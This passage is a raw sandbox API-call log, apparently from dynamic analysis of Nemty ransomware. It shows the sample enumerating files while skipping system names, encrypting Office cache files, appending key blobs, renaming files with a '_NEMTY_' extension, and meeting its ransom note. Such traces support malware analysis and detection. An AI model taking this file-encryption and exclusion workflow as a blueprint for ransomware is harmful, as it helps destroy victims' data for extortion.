| out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.xml", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExcelMUI.xml", lpUsedDefaultChar=0x0) returned 12 [0046.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExcelMUI.xml", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExcelMUI.xml", lpUsedDefaultChar=0x0) returned 12 [0046.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0046.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0046.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0046.900] Sleep (dwMilliseconds=0x5) [0046.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfa95390, dwHighDateTime=0x1d561e7)) [0046.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfa95390, dwHighDateTime=0x1d561e7)) [0046.907] GetLastError () returned 0x0 [0046.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.907] GetLastError () returned 0x0 [0046.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.907] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0046.907] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0046.907] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0046.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0046.908] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="+nvhnJziN28Zs3tcZGGZjyZC5/yU/i/Nq2myeSa5PByFcWPFbwPEp2eixSh1hlck\r\niYZw/kDK3+KmFSxb/tXw8/IgnNwYg6n/m06UB5JTmItZNFEPXbk0RNeanWLdeA1X\r\nLjjm9lS571ymcSDSfJ1h/TdCioQ0i/9lyHiCD+2EOLu/pChEy7EaahWXgcsINUUV\r\ntRm+u8nWsq2di2ZxsZtKwY7sGYSU8Nf8RcPEnxzL/sjJEuw4OFsdVh8xlRU/KLuZ\r\ndQulZGbORHKGqTHDnPxam/1uiFkq0rWPBCYwqpwJIrNpzMm6uxEaseqYWuQ90gbQ\r\nT5PzMjUdtKGDzKKX8WBZjQ==\r\n", pcchString=0x653ef9c) returned 1 [0046.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0046.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0046.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0046.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0046.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0046.908] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0046.908] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1565) returned 1 [0046.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x610) returned 0x6343fe8 [0046.908] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.908] ReadFile (in: hFile=0x3c8, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x610, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653f1e4*=0x610, lpOverlapped=0x0) returned 1 [0046.923] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.923] WriteFile (in: hFile=0x3c8, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653f1dc*=0x610, lpOverlapped=0x0) returned 1 [0046.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0046.924] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1565, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x61d [0046.924] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0046.924] CloseHandle (hObject=0x3c8) returned 1 [0046.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0046.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0046.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0046.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0046.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.925] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml._nemty_kgobjgd_")) returned 1 [0046.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0046.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0046.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0046.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0046.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0046.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0046.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0046.925] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0046.925] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0046.925] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0046.925] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0046.925] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0046.925] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0046.926] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0046.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0046.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0046.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0046.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0046.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0046.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0046.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0046.927] Sleep (dwMilliseconds=0x5) [0046.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfae1650, dwHighDateTime=0x1d561e7)) [0046.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfae1650, dwHighDateTime=0x1d561e7)) [0046.938] GetLastError () returned 0x0 [0046.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.938] GetLastError () returned 0x0 [0046.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.938] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0046.939] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0046.939] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0046.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0046.939] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="44hjDwS/7ssseotIdQ9ZNAdo+bc+iSKJ484cPROo2UD6Yq9ybSu7H9+DLrIMldrv\r\nr3v/abKFI/Kk0NQucFY7PuGzCmkJ18/TAmdoJEhp96Vcl53TTO6zfkukA3i/cG0z\r\nflj8piLRZevDOQ/AMvUbInYV0U/PBaPlPoRR4ejzMDjHvAYNY5hf2DAKGxsKi/3Q\r\nEibt21Q545iA3FuoYaK+cMBUGdturT6Og7dvg6BNuWwFlRDFXLlvVuDqFK6JkXf5\r\nBd71+5RBf4I1578J8w6c13X/zGqOJ1eAFOX9hoEA9DM/j7X1VpY4lJZkfdFj6FNt\r\nib2ZeRRODjyXAmWy5bQQtQ==\r\n", pcchString=0x653ef9c) returned 1 [0046.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0046.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0046.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0046.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0046.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0046.939] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0046.940] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=2296) returned 1 [0046.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8f0) returned 0x6346d48 [0046.940] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.940] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x8f0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x8f0, lpOverlapped=0x0) returned 1 [0047.095] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.095] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x8f0, lpOverlapped=0x0) returned 1 [0047.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.095] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=2296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8f8 [0047.095] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.095] CloseHandle (hObject=0x3c8) returned 1 [0047.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0047.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.097] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0047.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.097] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf9b0b50, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf9b0b50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf9b0b50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0047.097] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0047.097] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0047.097] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0047.097] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0047.097] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0047.097] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0047.097] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0047.098] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0047.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.098] RtlAllocateHeap 